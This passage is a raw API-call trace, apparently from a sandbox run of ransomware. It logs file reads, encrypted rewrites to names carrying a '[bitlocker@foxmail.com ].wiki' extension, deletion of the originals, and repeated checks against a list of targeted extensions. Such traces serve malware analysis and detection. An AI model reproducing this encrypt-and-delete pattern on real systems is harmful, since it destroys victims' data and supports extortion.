nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.524] WriteFile (in: hFile=0x184, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0046.524] SetEndOfFile (hFile=0x184) returned 1 [0046.524] CloseHandle (hObject=0x184) returned 1 [0046.525] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.525] SetEndOfFile (hFile=0x1b8) returned 1 [0046.526] CloseHandle (hObject=0x1b8) returned 1 [0046.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0046.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString=".doc") returned 4 [0046.527] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString=".docx") returned 5 [0046.527] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0046.527] lstrlenW (lpString=".pdf") returned 4 [0046.527] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString=".xls") returned 4 [0046.527] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.527] lstrlenW (lpString=".xlsx") returned 5 [0046.527] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0046.527] lstrlenW (lpString=".ppt") returned 4 [0046.527] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString=".zip") returned 4 [0046.527] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.527] lstrlenW (lpString=".rar") returned 4 [0046.527] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.527] lstrlenW (lpString=".bz2") returned 4 [0046.527] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString=".7z") returned 3 [0046.527] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString=".dbf") returned 4 [0046.527] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString=".1cd") returned 4 [0046.527] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.527] lstrlenW (lpString=".jpg") returned 4 [0046.527] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString=".doc") returned 4 [0046.528] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.528] lstrlenW (lpString=".docx") returned 5 [0046.528] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0046.528] lstrlenW (lpString=".pdf") returned 4 [0046.528] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.528] lstrlenW (lpString=".xls") returned 4 [0046.528] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.528] lstrlenW (lpString=".xlsx") returned 5 [0046.528] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0046.528] lstrlenW (lpString=".ppt") returned 4 [0046.528] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString=".zip") returned 4 [0046.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.528] lstrlenW (lpString=".rar") returned 4 [0046.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.528] lstrlenW (lpString=".bz2") returned 4 [0046.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.528] lstrlenW (lpString=".7z") returned 3 [0046.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString=".dbf") returned 4 [0046.528] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString=".1cd") returned 4 [0046.528] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0046.528] lstrlenW (lpString=".jpg") returned 4 [0046.528] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.528] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0046.529] lstrlenW (lpString="boxed-correct.avi") returned 17 [0046.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0046.603] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=89600) returned 1 [0046.603] CloseHandle (hObject=0x1b8) returned 1 [0046.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0046.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.605] lstrlenW (lpString=".doc") returned 4 [0046.605] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".docx") returned 5 [0046.605] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.605] lstrlenW (lpString=".pdf") returned 4 [0046.605] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".xls") returned 4 [0046.605] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".xlsx") returned 5 [0046.605] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.605] lstrlenW (lpString=".ppt") returned 4 [0046.605] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.605] lstrlenW (lpString=".zip") returned 4 [0046.605] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".rar") returned 4 [0046.605] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".bz2") returned 4 [0046.605] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString=".7z") returned 3 [0046.605] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.605] lstrlenW (lpString=".dbf") returned 4 [0046.605] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.605] lstrlenW (lpString=".1cd") returned 4 [0046.605] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".jpg") returned 4 [0046.606] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".doc") returned 4 [0046.606] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".docx") returned 5 [0046.606] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0046.606] lstrlenW (lpString=".pdf") returned 4 [0046.606] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".xls") returned 4 [0046.606] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".xlsx") returned 5 [0046.606] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0046.606] lstrlenW (lpString=".ppt") returned 4 [0046.606] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".zip") returned 4 [0046.606] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".rar") returned 4 [0046.606] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".bz2") returned 4 [0046.606] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString=".7z") returned 3 [0046.606] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".dbf") returned 4 [0046.606] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".1cd") returned 4 [0046.606] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0046.606] lstrlenW (lpString=".jpg") returned 4 [0046.606] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.607] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.607] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0046.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0047.162] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=247) returned 1 [0047.162] CloseHandle (hObject=0x1bc) returned 1 [0047.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0047.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.162] lstrlenW (lpString=".doc") returned 4 [0047.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.162] lstrlenW (lpString=".docx") returned 5 [0047.162] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0047.163] lstrlenW (lpString=".pdf") returned 4 [0047.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString=".xls") returned 4 [0047.163] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString=".xlsx") returned 5 [0047.163] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0047.163] lstrlenW (lpString=".ppt") returned 4 [0047.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString=".zip") returned 4 [0047.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.163] lstrlenW (lpString=".rar") returned 4 [0047.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString=".bz2") returned 4 [0047.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString=".7z") returned 3 [0047.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString=".dbf") returned 4 [0047.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString=".1cd") returned 4 [0047.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString=".jpg") returned 4 [0047.163] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.163] lstrlenW (lpString=".doc") returned 4 [0047.163] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.163] lstrlenW (lpString=".docx") returned 5 [0047.163] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0047.163] lstrlenW (lpString=".pdf") returned 4 [0047.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString=".xls") returned 4 [0047.164] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString=".xlsx") returned 5 [0047.164] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0047.164] lstrlenW (lpString=".ppt") returned 4 [0047.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.164] lstrlenW (lpString=".zip") returned 4 [0047.164] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.164] lstrlenW (lpString=".rar") returned 4 [0047.164] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString=".bz2") returned 4 [0047.164] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString=".7z") returned 3 [0047.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.164] lstrlenW (lpString=".dbf") returned 4 [0047.164] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.164] lstrlenW (lpString=".1cd") returned 4 [0047.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0047.164] lstrlenW (lpString=".jpg") returned 4 [0047.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.164] lstrcmpiW (lpString1=".HTM", lpString2=".wiki") returned -1 [0047.164] lstrlenW (lpString="README.HTM") returned 10 [0047.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.202] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1941) returned 1 [0047.202] CloseHandle (hObject=0x1dc) returned 1 [0047.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0047.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.202] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.202] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0047.203] GetLastError () returned 0x0 [0047.203] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x795, lpOverlapped=0x0) returned 1 [0047.425] WriteFile (in: hFile=0x1e0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0047.426] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.426] WriteFile (in: hFile=0x1e0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0047.426] SetEndOfFile (hFile=0x1e0) returned 1 [0047.426] CloseHandle (hObject=0x1e0) returned 1 [0047.427] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.427] SetEndOfFile (hFile=0x1dc) returned 1 [0047.428] CloseHandle (hObject=0x1dc) returned 1 [0047.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.428] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.428] lstrlenW (lpString=".doc") returned 4 [0047.428] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0047.428] lstrlenW (lpString=".docx") returned 5 [0047.428] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0047.428] lstrlenW (lpString=".pdf") returned 4 [0047.428] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0047.428] lstrlenW (lpString=".xls") returned 4 [0047.428] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0047.428] lstrlenW (lpString=".xlsx") returned 5 [0047.428] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0047.428] lstrlenW (lpString=".ppt") returned 4 [0047.429] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".zip") returned 4 [0047.429] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString=".rar") returned 4 [0047.429] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString=".bz2") returned 4 [0047.429] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0047.429] lstrlenW (lpString=".7z") returned 3 [0047.429] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".dbf") returned 4 [0047.429] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".1cd") returned 4 [0047.429] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".jpg") returned 4 [0047.429] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".doc") returned 4 [0047.429] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0047.429] lstrlenW (lpString=".docx") returned 5 [0047.429] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0047.429] lstrlenW (lpString=".pdf") returned 4 [0047.429] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString=".xls") returned 4 [0047.429] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString=".xlsx") returned 5 [0047.429] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0047.429] lstrlenW (lpString=".ppt") returned 4 [0047.429] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0047.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.429] lstrlenW (lpString=".zip") returned 4 [0047.429] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0047.430] lstrlenW (lpString=".rar") returned 4 [0047.430] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0047.430] lstrlenW (lpString=".bz2") returned 4 [0047.430] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0047.430] lstrlenW (lpString=".7z") returned 3 [0047.430] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0047.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.430] lstrlenW (lpString=".dbf") returned 4 [0047.430] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0047.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.430] lstrlenW (lpString=".1cd") returned 4 [0047.430] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0047.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0047.430] lstrlenW (lpString=".jpg") returned 4 [0047.430] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0047.430] 